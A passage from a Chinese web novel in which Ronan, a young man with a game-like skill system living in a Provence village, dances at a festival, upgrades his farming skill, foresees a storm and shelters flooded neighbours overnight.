人太多了,他怕和佐伊走散。 “圣雷米的城中心有一座罗马时期遗留的斗兽场,每年都会有著名的乡村歌手在那里献唱,听说今年要来的是艾米·纽曼。”周围的音乐声和欢呼声太大,佐伊要对着罗南的耳朵大喊才能让他听到。 罗南想到刚才的场景,笑着问佐伊: “所以卡尔他们那么激动.是因为要去见自己的童年偶像吗?” 艾米·纽曼今年已经60多岁了。 对于罗南和佐伊这个年纪的孩子来说太‘大’了,但对于40多岁的中年人和60多岁的老年人来说刚刚好。 佐伊加快了脚步: “那是我爸爸小时候的‘女神’。” 罗南和佐伊绝不算是‘积极’的人,他们下楼的时候已经看不到弗雷迪和老卡尔那伙人的身影。 所以他们没能成功进入已‘人满为患’的斗兽场感受路易童年‘女神’的魅力,只能在外面看里面变幻莫测的灯光,听里面一浪高过一浪的欢呼声。 不过这丝毫没有影响人群的热情。 在今天的圣雷米,每一个角落都可以听到狂欢的音乐,哪里都是他们的舞台,每一个人都是‘大明星’! 乡村音乐不适合跳太过‘性感’的舞蹈,大家随着鼓声和节拍灵活的晃动身体,像一个个欢快的精灵。 巴黎人不是热情似火的普罗旺斯人,但今天的节日氛围实在太浓厚,即使罗南不会跳舞,也跟着音乐小幅度摇摆起来。 而佐伊今天彻底‘解放天性’,像蝴蝶一样随着节拍蹦蹦跳跳,身体灵动轻盈,动作流畅自如,可爱无比。 罗南觉得每一次参加特色节日,都会对这些普罗旺斯人‘陌生’一次,当然也包含佐伊。 此刻他又在佐伊身上看到了两种之前没有发现过的东西——自信和激情。 “你很会跳舞。”罗南忍不住夸赞。 由于四周音乐声太大,他说话的时候需要低头贴近佐伊的耳朵。 佐伊轻快的转了一个圈,也贴到罗南的耳边: “我说过,普罗旺斯没有不会跳舞的人。” 罗南挑眉笑着说: “我不这么认为,你比其他人跳的都好。” 佐伊是这附近最亮眼的‘舞者’,但罗南吸引来的目光同样不在少数。 大家看他当然不是因为他那笨拙的舞姿,而是嫉妒他有一个漂亮又‘专业’的舞伴。 佐伊在罗南的耳边笑着说: “那是因为某些人‘不敢’跳。” 罗南后退了一步,高举双手,做出‘投降’的动作: “我发誓,这是我这辈子最‘大胆’的时刻。” 上帝啊,我从来没有在这么多人面前跳过舞好吗? 不,应该说是,从未在公共场合跳过舞! 佐伊突然拉住罗南的两个手腕,扭动着身体贴过去: “这种呢?” 罗南的身体瞬间僵硬住。 佐伊换‘舞种’了 可爱的精灵变成了性感的‘女神’。 他刚刚看到好几对情侣在跳这种‘贴面舞’,他们身体紧紧的靠在一起,扭动交缠,耳鬓厮磨。 佐伊已经把身体靠了过来,那么下一步就是. 佐伊把头贴到罗南的下巴上,语气轻快的问: “你不会连这种舞都不会吧?它没有任何技巧。” 佐伊性感的声音和热情似火的身体,让害羞的巴黎人也‘解放了天性’。 罗南把手放到她性感扭动的腰上,用开玩笑的语气问: “如果我说不会,你会怎么办?” 佐伊用行动做了回答,她坦然的回抱住罗南,贴得更近、扭动的更性感了: “那我就一步步教你。” 罗南不记得那天他一共跳了多长时间。 只记得,在那个充斥着欢快音乐的上午,他闻到了好闻的洗发水气味,怀里那人柔软到如果不用力抓住就会从指缝里溜走,还能透过自己的胸膛感受到对方胸膛里强有力的心脏跳动. 一切的一切都很陌生,但那感觉又让他痴迷其中,无法自拔。 中午,四散的朋友们终于相聚到一起。 “你不知道我的舞姿有多棒!”弗雷迪偷偷看了一眼自己的妻子,见她没有看过来,小声对几个男士说,“在弗洛西休息的时候,有好几个陌生女士邀请我跳舞呢。” 阿兰也偷偷看了自己的妻子一眼: “你以为只有你有?刚刚有两个女士同时邀请我,她们还夸我的胡子好看。” 路易已无法完全把罗南当兄弟,尴尬的给他解释: “音乐节持续的时间太久,大家都有累的时候.所以偶尔会有和陌生人跳舞的机会。” 罗南憋着笑说: “理解。” 明白了。 这些人着急的冲出去,绝不只是为了看自己童年女神那么简单。 “你呢罗南,你换了几个舞伴?”老卡尔虽然没有主动说他的‘战绩’,但语气中流露出明显的自得。 这也要攀比吗罗南在心中腹诽了一句。 “我没有换过舞伴,全程只有一个。”罗南平静的说。 其他几个人遗憾的对罗南撇嘴或耸肩,似乎在说: 兄弟,你白白浪费了一个大好的机会啊。 只有路易哈哈大笑起来,满意的说: “看来你和佐伊玩的很开心,休息也凑在一起。” 罗南呵呵笑了几声: “我们没有休息过,一直在跳。” 吹嘘‘魅力’有用吗? 我有年轻的身体和旺盛的体力,你们有吗? 迁徙节毫无疑问是属于男人的节日。 在乡村音乐节结束后,还有小范围的骑羊比赛、喝酒比赛和越野跑比赛等总之全部是男人们颇感兴趣,但女人看的直皱眉的活动。 虽然罗南在集市上‘铩羽而归’,但参加完音乐节后一连参加了好几个小活动,似乎有用不完的力气。 即使奖品只有一瓶红酒,他也会拿出普罗旺斯人玩滚球的精神——无论对手是谁,必须胜利! 白天感觉不明显,可坐上回程的汽车时,罗南一下子就‘瘫软’了。 “儿子,你早上就不该说那么不吉利的话,你说‘我有一种预感,今天会比在家干活更累。’你看,现在被你说中了吧?”冯珍心疼的回头看罗南。 罗南倔强的说: “没事,我不累。” 佐伊‘揉’了几下罗南的胳膊: “刚刚它们都发抖了,我看见了。” 【与异性发生亲密接触幸福度增加25点】 罗南心中一喜。 上午四周的音乐声太大,耳边的提示音听得断断续续的,下午他卖力的奋斗即使耳边有几道提示音出现也忽略了过去。 不知道一上午的‘耳鬓厮磨’换来了多少东西? 一下午的欢快游玩又换来了多少经验值? 他打开系统面板,看到浅蓝色的字体后,不顾全身酸痛大喊道: “不!我一点都不累,我可太开心了!以后这样的活动我次次都会参与!!” 【3级建造:0\2000】 【2级种植:0\500】 【3级采集:0\2000】 【3级烹饪:0\2000】 【1级捕鱼:0\100】 【1级打猎:0\100】 【1级酿酒:0\100】 【可使用经验:2987】 他终于可以升级一个4级技能了! 第165章 意外的能力 罗南坐在新布置好的室外休息区,吃几颗当季新鲜樱桃,喝一口粉红酒,虽然温度超过了35度,仍感觉生活惬意无比。 装修院子这件事教会他,要懂得‘及时行乐’。 如果为了给开餐厅省钱,明年再陆续装修院子,那么他现在只能躺在闷热的卧室里,苦苦等待太阳下山。 似乎为了鼓励罗南的这个决定,每次他来后院休息或者发呆时,系统都会给他一些‘奖励’。 【舒服的小憩使幸福度增加5点】 吃到了‘甜头’,罗南觉得有必要把系统里的经验使用掉,一味的积累并不能给他带来任何的东西。 又经过了2天的积累,现在的经验值已经突破了3000大关,他的幸福度‘直冲天际’。 “但是升哪个呢?” 这是罗南现在要面对的问题。 他的视线在系统里的【建造】和【烹饪】间来回移动,这是他认为比较值得升级的两个技能。 现在已经到了7月中旬,再有10天左右就可以拿到餐厅的钥匙,开启装修。 罗南已经预订好卡福的时间,但家具他还没有做完。 升级【建造】可以加快制作家具的速度,说不定还可以在即将开始的装修上提供巨大的帮助。 不过罗天海已经试菜试了快一个月,升级【烹饪】也很有必要。 毕竟抓住顾客的胃,才能抓住顾客的钱包。 “爸爸,你决定未来餐厅要卖哪些菜了吗?”当天晚上,罗南在餐桌上问罗天海。 罗南家每天吃的特别热闹。 从粤菜到川菜,从鲁菜到浙菜.但这么多天下来,罗天海只确定了一道要卖的。 “菌菇汤啊,我早就和你说了,这道菜以后要拿出来卖。”罗天海看着罗南说。 罗南尴尬的耸了下肩膀: “这道菜是我‘发明’的,我的意思是,你最近有什么试菜成果吗?” 罗天海放慢了吃饭速度: “没有你想的那么简单,在法国开餐厅不能像在中国一样给他们几十种选择,他们会不知道吃什么的,写到菜单上的必须是‘精心挑选’过的菜品,能体现中餐和这家餐厅的最高水平。” 冯珍也多次给罗天海帮过忙,从‘财务’的角度给罗南解释: “还要考虑成本,我们刚到普罗旺斯,需要找到既便宜又好的供应商,也要了解这里的物价情况,成本不同每道菜的‘做法’也不同,这都需要摸索的时间。” “妈妈.你也是个专家?”从冯珍嘴里听到这些话,让罗南感觉到无比的陌生。 为了证明自己更专业,罗天海补充道: “食材成本要严格遵循4分法原则。” “什么是4分法?”罗南问父亲。 回答的是母亲冯珍: “把菜品的价格除以四,就是食材成本的红线。” “上帝。”罗南举起酒杯敬父母,“没有你们,我可怎么办?谢天谢地我有一对经验丰富的父母!” 罗天海知道儿子问这件事是‘着急’了,他安慰罗南道: “我会试着先‘改良’一版,降低你的压力。” 罗南对父亲摆手: “不用,我改良的速度很快,你按照你的速度准备。” 父亲的丰富经验让罗南的信心大增,他觉得丝毫无需为内部经营而担心。 “又开始逞强,忘了你那天累成狗的样子了?”罗天海笑着看罗南,“你的精力先主要放到装修和宣传上,菜品方面不用担心,我一定给你留足‘改良’的时间。” 冯珍也附和道: “就是就是,现在还没到你‘出场’的时候呢儿子,说句不好听的,你现在还没弗雷迪的作用大呢。” 弗雷迪是罗天海确定的第一个供应商。 在弗雷迪的帮助和介绍下,罗天海认识了许许多多做其他品类的供应商,现在正在里面仔细挑选呢。 “好吧。”罗南默默点头。 既然这样就先不着急升【烹饪】了。 冯珍笑着给儿子夹了一块肉: “你啊,先把重心放到佐伊身上吧。” 佐伊要去艾克斯待好几天。 除了参加展会,还要参与前期的展会布置和后期的艺术沙龙。 罗南把她和十几个器具送过去后,过几天再把他们接回来。 自从得到参加展会的通知后,佐伊的气质就变了,变得自信了许多。 以前罗南觉得在她低调的外表下有一颗闪闪发亮的灵魂,而现在罗南认为佐伊由内而外的‘光彩夺目’起来。 再一次去往艾克斯,佐伊又换上了去‘大城市’才会穿的时尚衣服。 浅蓝色休闲衬衣里面是一件白色的露脐吊带,金色长发随意的披在身体两侧,每一次佐伊用手把散落的头发向后聚拢,罗南都忍不住想要侧头看一看。 “现在是山路,你小心一点开车。”佐伊在罗南的胳膊上‘惩戒’般的拍了一下。 罗南回过头来看路: “你现在越来越性感了.” 上帝,气质真的会改变一个女人。 罗南不敢想象,如果未来佐伊真的成为一个知名的艺术家,气质会变成什么样子。 和明星应该不分上下了吧? 佐伊脸上挂着若有似无的笑容: “如果换个场合,听到这句话我会夸你越来越会说话了,但现在这个情况下,为了你我的安全,我有必要把你的注意力移动到其他的方面。” 她斜靠在座椅和车窗的交接处,看着罗南的侧脸问: “你打算如何装修餐厅?” 罗南目视前方的说: “院子做成南法风格,装饰物用石材的,依然去多库那里定制,桌子我自己做,椅子我还没想好,你觉得都用木质的好看吗?” 佐伊从事的也是和‘美’相关的职业,并且她的审美非常在线。 就她现在的这身打扮,一点不像是来自南法乡村的姑娘,说她来自巴黎罗南也相信。 他打算听一听佐伊的意见。 佐伊思考了一阵子,斟酌说道: “是不是可以多些元素?我觉得铁艺的椅子搭配木质桌子应该也挺不错的,可以桌子上面铺上好看的桌布。” 罗南在脑袋里幻想了一下: “确实很有画面感,但我不认识专门卖铁艺的家具店。” 佐说想都没想脱口而出: “我有朋友是做铁艺装饰的,到了艾克斯我和她联系一下,看她愿不愿意接你的订单。” “贵吗?”罗南追问。 “那是我大学时期最好的朋友。”佐伊性感的咬住嘴唇,似乎在看猎物,“她应该会给我一个友情价。” 罗南没有看到佐伊的表情,严肃的说: “找个时间,我跟你一起去她的工作室看看。” “好啊。”佐伊开心的笑起来,她喜欢一切可以和罗南一起进行的活动,“那室内呢,你打算怎么弄?” 夜游的时候,她听罗南说过,他打算把餐厅的室内和室外做成两种不同的风格。 罗南砸了一下嘴: “我打算找一些有‘东方’色彩的装饰物点缀室内,具体是什么还没想好,普罗旺斯有卖这种东西的地方吗?” 巴黎的华人人数多,也集中。 但普罗旺斯地区的华人活动就少很多了。 罗南只知道在阿维尼翁和马赛有华人超市,其他的信息完全不了解。 佐伊皱眉想了一下: “我帮你问问。” “谢谢。”罗南侧头看佐伊。 佐伊笑容灿烂的说: “实在找不到我们就自己做。” 罗南苦涩的撇了一下嘴: “用木头做?” 太麻烦了吧? 佐伊笑着坐好不再看他,并自信满满的说: “我会的东西不只是木工、绳艺、陶瓷和玻璃你努力让我多展示些才艺吧。” 罗南的嘴角不受控的勾起来。 自信的佐伊真是迷人啊! 有经验的罗天海分担走了一部分罗南‘改良菜品’的压力。 佐伊也能在餐厅装修中起到极大的助力作用。 所以罗南觉得【建造】和【烹饪】都不着急升级了,可以等一等到8月看看情况再说。 于是,他又把注意力放到了其他几个技能上。 距离10月份也不远了。 升级【采集】肯定可以提升挖松露的速度和效率,那是致富的捷径,不过那似乎是更加遥远的事情,罗南有信心在那之前凑够升级的经验。 但这倒是提醒了他——还没有采买打猎和冬季上山采松露时需要的专业装备。 有了狩猎执照,他可以去往森林的深处,即使没有钱买古董枪,普通枪也需要搞一把了。 但这些也和升级技能没有关系。 【狩猎】肯定不在罗南的考虑范围内。 【捕鱼】和【酿酒】就更不在罗南的考虑范围之内了,完全没有使用的场景。 这样看下来,罗南的选择似乎只有一个了 升级【种植】? 身为一个农夫,罗南的【种植】技能确实太低了。 葡萄在9月中就可以采摘,只不过早一天晚一天对果实的影响非常大,有经验的农夫都是根据实时情况确定收获的时间,确实有必要提升这方面的能力。 而且还有一个原因推动着罗南把注意力放到【种植】上——卢卡斯孤注一掷投资的那片松露人工培育林。 松露生意有无限可能,这是毋庸置疑的。 开餐厅和努力接触略论特先生,都是为了接触到普罗旺斯的大量优质餐饮资源,为将来送松露生意做准备。 而从私人角度上考虑,罗南也不想看到骄傲的卢卡斯输掉全部,他是罗南尊敬的男人,也是罗南的好朋友特奥的亲哥哥。 于公于私,罗南都应该试一试救活那个项目。 他现在唯一不确定的就是——升级到4级【种植】是否可以拥有人工培育松露的能力。 “不试试怎么知道呢?而且我现在有这么多获取幸福度的途径,2000点经验很快就会刷出来的。” 罗南已做好决定,先用500点经验把【种植】升到三级,之后认真感受身体的变化。 首先是他种植技术变‘精细’了。 脑海中出现了浸种、滴灌、地膜覆盖等农业技巧,而且针对每一种作物都有不同的优质种植方式判断。 第二个能力,是看到一个作物的外表形态可以判断出它的状态。 比如,他现在看罗马柱区域的鲜花,知道亨利至少有4天没来给它们浇水了。 这个能力已经可以让罗南在9月找到最佳的收获时间了。 不过他继续消耗2000点经验,把【种植】升到了4级,成为系统里等级最高的一个。 【3级建造:0\2000】 【4级种植:0\5000】 【3级采集:0\2000】 【3级烹饪:0\2000】 【1级捕鱼:0\100】 【1级打猎:0\100】 【1级酿酒:0\100】 【可使用经验:577】 罗南期待的搜索自己的脑海,几秒钟后无奈的叹了一口大气。 他的脑海里并没有多出人工种植松露的信息,看来是等级还不够高。 新增加的第一个能力是对地形和土壤的甄别能力。 第二个能力让他颇为意外。 罗南抬头看了看天,又用鼻子深深吸了一气: “是雨的味道。” 第166章 大雨将至 按照系统给的知识和升级后的感官能力提升,罗南判断多则三天,少则一天,普罗旺斯必定会迎来今年的第一场雨水,而且不是小规模的。 罗南不知道他家的屋顶是否可以抵御即将到来的大雨。 他不敢赌,也不想抱有侥幸心理。 之前装修院子剩了一些防水材料,他打算把房顶做一轮紧急的防水处理,即将到来的大雨就是‘闭水试验’了。 “你在干什么?”特奥来罗南家送杏子,在家里没看到他,罗南的母亲告诉他罗南在房顶。 特奥跑出来看,果然在房顶发现了罗南。 “我在弄房顶的基底,该拆除的拆除,该找平的找平,之后重新做防水。”罗南的声音从房顶传来。 “很有先见之明嘛。”特奥站远了一些,以便能看到罗南的脸,“大家都会在雨季到来前加固房屋的防水能力,你知道的,这些老房子脆弱的不成样子。” 罗南提醒他: “我劝你也检查一下自己家有没有什么问题,雨季马上就要来了。” 特奥躲到有树荫的地方,点了一根烟: “不着急,8月份才是雨季。” 普罗旺斯每年有300天以上的阳光,雨季非常短,通常在8月份来临。 罗南又抬头看了看天: “不,我觉得今年的雨季可能会提前到来。” 如果今天来的是其他人,罗南的提醒大概率会劝动对方。 但今天来的是卢尔马兰最懒的人——特奥。 特奥叼着烟离开: “行了,你忙吧,我给你送了一点杏,记得尝尝。” 普罗旺斯人不喜欢任何坏天气,那会让他们觉得生活变得没有意义。 在老酒馆喝酒日子,罗南经常听农夫们讲普罗旺斯的雨季能给大家带来怎样多的麻烦,甚至还有人因此患上了抑郁症。 而且普罗旺斯气象局也没有在这件事上起到过什么积极的作用。 今年的雨季到来的比往年早,肯定有一大部分人都没有开始准备。 罗南认为只是自己知道这场雨的到来并做足准备还不够,必须用‘合理’的方式让朋友们也知道这件事。 中午吃完饭,罗南分别给路易、弗雷迪、老卡尔和阿兰家打去电话。 至于‘合理’的理由嘛. “我在巴黎的朋友给我打了电话,提醒我未来两天内可能会有一场大雨光顾普罗旺斯,你一定要做足准备。”罗南正义凛然的说出‘谎言’。 弗雷迪的笑声从村子的东边,传到了村子的西边: “巴黎人的手很长嘛,都管到普罗旺斯了。” 罗南没有心情和弗雷迪开玩笑: “你知道的,普罗旺斯的天气预报经常会出错,我希望你引起重视,弗雷迪。” 弗雷迪‘感激’的说: “好的,替我谢谢你巴黎的朋友,我一定会做好准备的。” 挂了电话,弗雷迪的妻子弗洛西问他: “罗南邀请我们今晚去他家聚会吗?” 弗雷迪哈哈笑了几声,拍着肚子进了厨房: “没有,罗南给我讲了一个巴黎式笑话,我猜他的巴黎朋友想给他推销雨具。” 下雨? 雨季还有一个月才会到来呢! 满嘴谎言的巴黎人! 不是每一个人都像弗雷迪这样‘幽默’。 莉亚告诉罗南,这两天睡觉前她会切断家里的电路,并把值钱的东西保护起来,并感谢了罗南的提醒。 觉得做这一切都是有意义的,罗南又顶着正午的烈日去了一趟老酒馆。 虽然现在在这里喝酒的人不多了,但‘能帮一个是一个’。 “罗南先生,你来找我的吗?”亨利见罗南来了,把自己的位子让出来。 游客不断压缩农夫们在老酒馆喝酒的空间,现在他们要几个人分享一个吧台位置。 罗南没有点酒,只是提醒他们几个: “我在巴黎的朋友给我打了电话,提醒我未来两天内可能会有一场大雨光顾普罗旺斯,你们一定要做足准备。” 老板科莫紧张的问: “说什么时候下了吗?” 罗南摇了摇头: “有可能是明天,也有可能是后天。” 科莫把手帕用力扔到吧台上,焦急的去仓库搬梯子: “该死的普罗旺斯气象局,他们除了晴天报不出其他天气!” 罗南担心‘看全世界都不顺眼’的亨利,因为这是巴黎传来的消息而有排斥心理,苦口婆心的提醒他: “亨利,我记得你太太和女儿现在都在跟着皮雷做绣被,如果弄湿了或者打脏了它们就卖不出去了,一定要把它们保护好。” 亨利确实看全世界都不顺眼,但他看罗南顺眼。 罗南先生是这个世界上对我最好的人! 他还特意来提醒我即将到来的大雨!! 亨利郑重的敬了一个礼: “谢谢罗南先生,我一定会做好准备的!” 罗南拍了拍的肩膀: “看到其他人记得帮我也提醒一下他们。” 说完,罗南小跑回家。 他的活儿还没干完呢。 其中一个农夫也听话的回家做准备了,临走前他对亨利说: “如果一会其他人来了,你记得也提醒一下他们。” 亨利恶狠狠的露出黄色的烂牙,用只有自己能听到的声音咕哝: “为什么要提醒他们?他们都没用正眼看过我亨利!如果下雨了,活该他们的房子漏雨,这是上天对他们的惩戒!” 第二天傍晚时分。 空气变得格外厚重,葡萄园里的叶子一动不动,仿佛在等待着什么。 罗南终于做完了屋顶的紧急抢修,抬头看到一片铅灰色的云像浸了水的棉被一样,挡住了太阳的半个身子。 他笑着扭了扭发酸的腰: “这次朋友们应该不会再为雨季而头疼了。” 距离罗南家几百米的特奥家。 农夫们对天气的敏感程度比普通人强上好几倍。 特奥同样看到了那片铅灰色的云。 只不过他的表情和罗南截然相反。 “该死的,不会真要下雨了吧?”特奥把嘴里烟扔到地上,快步跑回了屋子。 晚上8点多。 乡野间变得一片寂静,似乎有人将叫了几个月的夏蝉电源拔掉。 再无知的人也知道——大雨将至。 “弗洛西,亲爱的!先不要看电视了,我们必须把房子做一些紧急处理!”弗雷迪扭着大屁股在屋子里跑来跑去,“上帝,我为什么不听罗南的提醒,事先做好准备呢?” 似乎是为了催促弗雷迪动作快一些。 一道闪电划过夜空。 随后,从蔚蓝海岸方向传来一声闷雷。 今年的第一场雨在黑夜的掩护下.终于抵达了普罗旺斯。 第167章 热闹的一夜 罗南是被小黑和马赛的叫声吵醒的。 干了两天活,他今天早早的睡下,朦朦胧胧听到外面有打雷的声音,但他并没有想要起床查看的意思。 家里已经做好一切防护措施,可以放心的在大雨中睡去。 罗南认为在下雨天睡觉是最舒服的。 但小黑和马赛的叫声让罗南想到,这是两个小家伙狗生里第一次看到这动静。 “听到打雷害怕了吗?” 罗南睁开眼,床头的手表告诉他现在才晚上9点多钟。 他起来看窗外,发现大雨还没有落下,现在是‘灯光秀’的时间。 雷声轰隆作响,天边一道白色的闪电划过,照亮了外面的葡萄园,照亮了树木和房屋,照亮了远处密集的卢尔马兰村庄,背景是如墨一样的天空。 罗南本能的闭了一下眼睛,可他刚刚睁开,第二道闪电再次亮起。 这一次持续的时间更长了,天空上似乎有一万盏白炽灯同时亮起,将夜黑撕裂出一道口子,阳光再次照耀大地。 罗南没有欣赏太久由大自然主演的‘大片’,寻着狗声去到一楼,意外的发现父母全在厨房里。 “你们还没睡?”罗南揉了揉眼睛。 “外面打了好久的雷和闪电,怎么还不下雨?”冯珍在厨房的大观景窗前‘翘首以待’。 罗天海坐在餐厅的椅子上,和两只狗玩猜‘哪只手里有面包’的游戏: “看这意思,估计是一场大雨。” “都几点了还玩?”罗南哭笑不得的说。 他以为两只狗吓着了。 原来是玩开心了 “玩呗,反正现在也不睡。”冯珍回头对罗南说,“我和你爸爸都挺喜欢下雨天的,又凉快又有意思。” 罗南站到母亲的身边,和她一起看窗外: “这话可别跟别人说,普罗旺斯人最痛恨下雨了,他们痛恨一切看不到太阳的日子。” “这么严重?”冯珍半信半疑的问。 “真的。”罗南耸肩,“我听说沃克吕兹省的自杀率是法国最高的,每次下雨下雪都会死几个人。” “我的上帝。”冯珍面色凝重。 罗天海插嘴道: “每个地方都有自己的‘风土人情’,别大惊小怪的。” 冯珍遗憾的说: “我明天白天还想邀请莉亚来院子里赏雨呢,如果还下的话。” 罗天海看外面的天空: “今天什么时候下还不知道呢,你都想到明天了?这雷打了快一个小时了,不会‘干打雷不下雨’吧?” “应该不会吧?”罗南打开了一点窗子。 冯珍把手伸出去,突然大喊一声: “下了下了!” 三只手同时探了出去。 罗天海有些兴奋的说: “你们饿不饿,我做点东西吃吧?晚上家里剩了羊肉,我把它烤了?” “可以!再做个凉菜。”冯珍开心的去检查屋里的各个窗户是否紧闭,“喝点,助眠!” 和罗南家的其乐融融相比,特奥家现在仿佛是地狱。 由于没有提前做防水检查,他家没有意外的漏水了,更可气的是,下水系统也由于年久失修出现了大问题。 一楼的几个下水口发出古怪的咕噜声,似乎在下面潜伏了一个奇怪的东西。 地面上洪流汹涌,过量的雨水‘横冲直撞’的寻找其他出路。 生菜叶去卧室里参观,咖啡渣进入了卫生间排队.似乎有一万个东西迷失在这里。 特奥正使出吃奶的力气,把雨水赶入土耳其马桶,身后突然传出了巨大的孩子哭声。 他手忙脚乱的扭头,看到女儿面前的水龙头里喷出了巨大的水柱。 “安娜,你开水龙头干什么?”特奥把女儿抱出卫生间。 特奥的女儿哭着说: “我脚上全是恶心的东西,我想洗一洗脚,但水龙头打喷嚏了。” 特奥赶紧叫来妻子把女儿带出‘危险’的卫生间,但他再回去时,看到土耳其马桶也‘罢工’了。 一米高的污水喷射而出,把他家彻底变成了地狱。 “我恨下雨!!”特奥女儿凄厉的尖叫声划破夜空。 “带安娜去罗南家,快去!”特奥崩溃的大喊。 弗雷迪家也没有好到哪里。 他家只有一两个地方漏水,并不严重,但几十年没有修缮过的房子像是一个巨大的音响,把噪音无限放大。 那些雨滴落到的不是房顶和窗户,那些雨落到了他们的头顶和耳朵里。 “你应该早一点做房屋翻修的,我猜罗南家现在肯定不是这样。”弗雷迪的妻子弗洛西无情的埋怨自己的丈夫。 他们早在一个月前就决定也把房子翻修一下,但弗雷迪用各种借口推脱翻修的时间。 弗雷迪坐在卧室的书桌前,打开一盏昏黄的小台灯,在本子上快速的写着什么: “亲爱的,我最近真的很忙,现在是我的事业上升期。” “快停一停吧弗雷迪,你今年已经39岁,而且你的体重也不允许你‘上升’了。”很显然,弗洛西今天的心情不是太好,每次下雨她的心情都不会好。 我为什么要住在一个音响里? 弗雷迪转动椅子,回头看妻子: “我给罗南的父母介绍了一些供应商,而罗南介绍给了我七八个餐厅老板作为回报,即使只有两个人愿意与我‘试一试’,我也不能辜负罗南的信任,要把工作一丝不苟的完成。” 弗洛西把头蒙到被子里,语速飞快的说: “那你一定要在今晚‘努力’吗?咱们家的电路和房子一样老旧,你开着灯很危险!” 弗雷迪回去继续写东西: “再有20分钟我就写完了。” 突然,小台灯激烈的痉挛了一下,似乎外面的大雨抽打到了它的身体。 紧接着灯泡发出了一声微弱但致命的‘啪’。 “弗雷迪!”弗洛西光着脚跳下床铺,在黑暗中对着弗雷迪咆哮,“你知道在吕贝隆维修电路需要多久吗?未来几天我们的日子要如何过啊?” 弗雷迪狼狈的敲响罗南家的门: “我知道这很难解释.但我们可以在你家暂住一夜吗?明早弗洛西和孩子们需要一个可以通电的地方洗漱。” 罗南短暂的错愕了一下,便把弗雷迪全家迎进来: “当然可以,但我恐怕咱们要挤一挤了。” 弗雷迪进入罗南家,意外发现‘客人’不止他们一家人。 特奥的妻子和孩子居然也在这里? 而且看样子他们已经洗完一个温暖的热水澡了 冯珍给弗雷迪一家倒了几杯热水: “我知道你们没有喝热水的习惯,但这会帮助你们把体内的湿气排出去,来的路上淋到雨了吧?” 她把弗洛西和孩子们引进卫生间: “先给孩子们洗澡,别生病了!” 弗洛西感激的浅抱了一下冯珍: “谢谢,我以为你们已经睡了.” 罗南一家不但没睡,还热情的接待了他们,谢天谢地! 她和孩子们终于可以离开那个老旧的音响,熬过这个雨夜了。 冯珍帮忙照顾孩子们,弗雷迪来到罗南家的餐厅,看到餐桌上摆着他熟悉的中国烤肉和凉菜,而罗天海还在灶台上做着什么。 “特奥的女儿有点吓到了,我给她做点面吃。”罗天海热情的问弗雷迪,“你要一起吃点吗?” 弗雷迪不敢置信的搓了搓脸: “上帝,我是不是在做梦?” 路上,他以为今年最糟糕的一天到来了。 被妻子和孩子嫌弃,还要在雨夜打扰朋友 但这里居然像天堂一样温暖和温馨。 罗天海笑着对他说: “那我就连你们家的量一起做了,孩子们估计都吓到了。” 大门处又传来罗南的说话声,来了一批新的‘难民’。 “快进来,家里有吃的,还可以洗热水澡,就是晚上睡觉要挤一挤了,不过人多热闹。” 破晓之前,风雨戛然而止。 仿佛什么没发生过似的,太阳像往常一样在地平线缓缓地探出头来,撒下一片金灿灿的光芒。 忙了整整一夜的特奥拖着疲惫的身躯去罗南家,想要看一看女儿的状态。 安娜最讨厌下雨天,每次下雨她都会哭个不停。 不过让他意外的是,这个时间,罗南家的一楼居然还亮着灯。 特奥小心翼翼的敲了一下窗户,过来给他开门的居然是一个农夫,而不是罗南。 “你怎么在这里?”特奥惊讶的问。 那农夫解释: “这场雨把好多人家淹了,也不知道怎么回事大家都不约而同来罗南家‘避难’,就是睡觉的地方不够,孩子和女人们在卧室休息,我们这帮男的在楼下休息,罗南的父母给我们准备了酒和吃的,特奥,你来的太晚了,这一夜我们聊的特别开心。” “安娜在哪里?”特奥没有忘记正事。 特奥来到女儿休息的卧室,发现她正睡得香甜。 他轻轻的在安娜头上亲了一下。 安娜朦朦胧胧的睁开了眼睛: “爸爸?” 特奥温柔的说: “我已经把家里收拾好了,保证和之前一模一样,对不起安娜,爸爸昨天没有保护好你。” 安娜声音里有掩饰不住的喜悦: “爸爸!我昨天吃到了好吃的面,还喝了特制的‘饮料’!” “真的吗?”特奥亲了亲女儿的头发,“爸爸发誓,下次下雨时一定会保护好你。” 安娜突然抱住特奥的脖子,小声说: “爸爸,我开始有点喜欢下雨了,罗南叔叔抱着我看了好久雨,我觉得雨打在花朵上的样子特别好看,像是跳舞的小精灵,但是妈妈不让我看太久,说我应该睡觉了,爸爸,下次下雨,我们可以去外面看花吗?” “可以,当然可以!”特奥用力抱住女儿,心瞬间融化了。 特奥是在后院找到罗南的。 “一夜没睡,还有精力出来打理草地?”特奥坐到石材沙发上,看着罗南忙碌的身影问。 “我晚上睡了一会。”罗南放下工具,坐到特奥对面,“看过女儿了?安娜一直在问你怎么还不来。” 特奥笑的像是花儿一样: “看过了,谢谢你照顾她,她说在你家过得很开心。” 罗南笑着摇头: “应该的,说什么谢谢啊。” 特奥从口袋里拿出一根已经湿透了的烟,叼到嘴上: “太受欢迎也是件麻烦事,来了那么多人,挺头疼的吧?” 他粗略数了一下,罗南家现在至少有20个人。 “不会。”罗南语气轻快的说,“昨天过得的有点像中国的春节,一群好朋友围在一起,熬夜聊天,我和父母都很喜欢这种氛围,以前只有我们三口人,一点没有过节的气氛。” “但昨天不是节日。”特奥耸肩。 罗南笑着指四周: “你不觉得雨后的清晨格外美丽吗?这些草昨天还一副要死了样子,今天就生机勃勃了,这是一场属于大自然的‘节日’。” 特奥难得的认真起来,语气复杂的对罗南说: “你这家伙来到卢尔马兰后,改变了太多东西。” 罗南无辜的平摊双手: “希望是好的改变。” “安娜居然喜欢了她最讨厌的雨天。”特奥指了指身后,“以前下完雨,这帮家伙聚到一起一定会骂这该死的鬼天气和普罗旺斯气象局,但他们现在却在兴奋的讨论,早上应该吃点什么东西。” 罗南靠到身后的石墙上: “但我没看到你有什么改变。” 安娜给他讲了特奥家的样子,那太恐怖了。 如果特奥勤劳一些,昨晚绝不会发生那种事情。 特奥也懒洋洋的靠向身后: “不,我也变了,我没那么讨厌雨天了。” 罗南期待的看过去: “真的假的?你居然能改变?” 特奥撇嘴: “我说真的,下了这场雨,我最近都不用浇水了,我不该喜欢它吗?” 罗南无语的揉了揉脸。 一切都在改变,一切又都没有改变。 生活就是这么有趣啊。 第168章 过节! “意外到来的大雨给村民带来了巨大的损失。” 卢尔马兰村政府的内部会议上,布兰科眉头紧锁,紧张的问: “具体有多少损失?” 村民们不喜欢下雨,政府更不喜欢。 